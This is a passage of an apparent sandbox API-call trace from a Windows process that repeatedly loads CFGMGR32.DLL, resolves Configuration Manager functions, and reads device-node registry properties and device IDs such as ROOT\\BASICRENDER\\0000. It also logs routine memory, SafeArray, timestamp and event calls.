(hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.214] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0196.214] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0196.215] malloc (_Size=0x48) returned 0x196ef0fb450 [0196.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55cd9357, dwHighDateTime=0x1d9eb0c)) [0196.215] SetEvent (hEvent=0x248) returned 1 [0196.218] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.218] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.221] malloc (_Size=0x18) returned 0x196ef0d1f60 [0196.221] CM_Get_Device_IDA (in: dnDevInst=0x8, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICRENDER\\0000") returned 0x0 [0196.221] malloc (_Size=0x48) returned 0x196ef0fb720 [0196.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x55cff6b7, dwHighDateTime=0x1d9eb0c)) [0196.221] SetEvent (hEvent=0x248) returned 1 [0196.224] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.224] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.227] malloc (_Size=0x18) returned 0x196ef0d2080 [0196.227] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0196.227] malloc (_Size=0x24) returned 0x196ef0f9f40 [0196.228] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9f40, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9f40, pulLength=0x67117d608) returned 0x0 [0196.228] free (_Block=0x196ef0f9f40) [0196.228] malloc (_Size=0x48) returned 0x196ef0fb220 [0196.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x55cff6b7, dwHighDateTime=0x1d9eb0c)) [0196.228] SetEvent (hEvent=0x248) returned 1 [0196.230] malloc (_Size=0x18) returned 0x196ef0d20a0 [0196.230] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0196.230] free (_Block=0x196ef0d20a0) [0196.230] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855fe0 [0196.231] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0196.231] SafeArrayGetLBound (in: psa=0x196ee7bf6a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0196.231] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0196.421] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5f90 [0196.421] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0196.421] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0196.421] SafeArrayGetElemsize (psa=0x196ee7bf6a0) returned 0x8 [0196.421] SafeArrayGetElement (in: psa=0x196ee7bf6a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0196.422] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0196.423] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5f90) returned 1 [0196.423] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855fe0) returned 1 [0196.423] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.423] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.427] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0196.427] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0196.428] malloc (_Size=0x48) returned 0x196ef0fbe50 [0196.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x55eef4b5, dwHighDateTime=0x1d9eb0c)) [0196.428] SetEvent (hEvent=0x248) returned 1 [0196.431] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.431] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.435] malloc (_Size=0x18) returned 0x196ef0d1da0 [0196.435] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0196.467] malloc (_Size=0x48) returned 0x196ef0fbd10 [0196.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55f61dfb, dwHighDateTime=0x1d9eb0c)) [0196.469] SetEvent (hEvent=0x248) returned 1 [0196.479] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.479] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.489] malloc (_Size=0x18) returned 0x196ef0d1de0 [0196.489] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0196.490] malloc (_Size=0x48) returned 0x196ef0fbf40 [0196.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55f88d64, dwHighDateTime=0x1d9eb0c)) [0196.490] SetEvent (hEvent=0x248) returned 1 [0196.661] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.661] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.665] malloc (_Size=0x18) returned 0x196ef0d1e60 [0196.665] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0196.665] malloc (_Size=0x48) returned 0x196ef0fbf90 [0196.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5612b7f5, dwHighDateTime=0x1d9eb0c)) [0196.666] SetEvent (hEvent=0x248) returned 1 [0196.669] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.669] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.673] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0196.673] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0196.673] malloc (_Size=0x48) returned 0x196ef0fb900 [0196.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x561519cf, dwHighDateTime=0x1d9eb0c)) [0196.674] SetEvent (hEvent=0x248) returned 1 [0196.679] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.679] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.679] 